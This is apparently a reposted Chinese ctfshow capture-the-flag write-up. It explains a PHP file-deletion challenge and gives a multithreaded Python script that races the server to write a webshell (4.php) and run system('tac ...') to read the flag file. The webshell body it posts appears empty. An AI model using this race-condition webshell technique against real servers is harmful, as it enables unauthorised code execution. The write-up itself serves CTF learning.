栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Python

ctfshow

Python 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

ctfshow

打开容器

 

逐行分析

error_reporting(0);//关闭错误报告
highlight_file();//对文件进行语法高亮显示。
__FILE__// 取得当前文件的绝对地址
$files = scandir('./'); //将当前目录的文件和目录。以数组形式赋值给files
foreach($files as $file) {//遍历files数组,以引用赋值将files中的每个对象赋值给file
    if(is_file($file)){//如果file文件存在且为正常的文件,则返回 true。
        if ($file !== "index.php") { //如果file不是index.php的话
            unlink($file);//就会删除这个文件
        }
    }
}
file_put_contents(str,file);//把一个字符串写入文件中

下面的代码和上面的类似,那么代码看到这里得出一个基本的思路

删除除了index.php以外的文件--->写入webshell文件--->删除除了index.php以外的文件

那么我们可以写一个python多线程脚本去条件竞争

使得在写入webshell后,服务器还没来得及删除,我们用webshell来得到flag

那么思路有了,就是写脚本了

import threading
import requests
import time

flag = 1

def write():
    while 1:
        url = "http://5b684686-4c1c-4d84-8426-b24cff7e49c3.challenge.ctf.show:8080/"+"?ctf=4.php"
        fromdata={"show":""}
        response = requests.post(url=url,data=fromdata)
        print(response.status_code)

def read():
    global flag
    while 1:
        #cmd = "system('ls /')"
        url = "http://5b684686-4c1c-4d84-8426-b24cff7e49c3.challenge.ctf.show:8080/4.php?S=system('tac /ctfshow_fl0g_here.txt');"
        response = requests.get(url=url)
        if response.status_code == 200:
            print(response.text)
            flag = 0;
            break;





# threads = []

# t1 = threading.Thread(target=write)
# t2 = threading.Thread(target=read)
# threads.append(t1)
# threads.append(t2)

if __name__ == '__main__':
    for i in range(10):
        t1 = threading.Thread(target=write)
        t1.setDaemon(True)
        t1.start()
    for i in range(10):
        t2 = threading.Thread(target=read)
        t2.setDaemon(True)
        t2.start()
    # for t in threads:
    #     t.join()

while flag:
    time.sleep(0.01)

菜鸡脚本,不要介意

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/283327.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号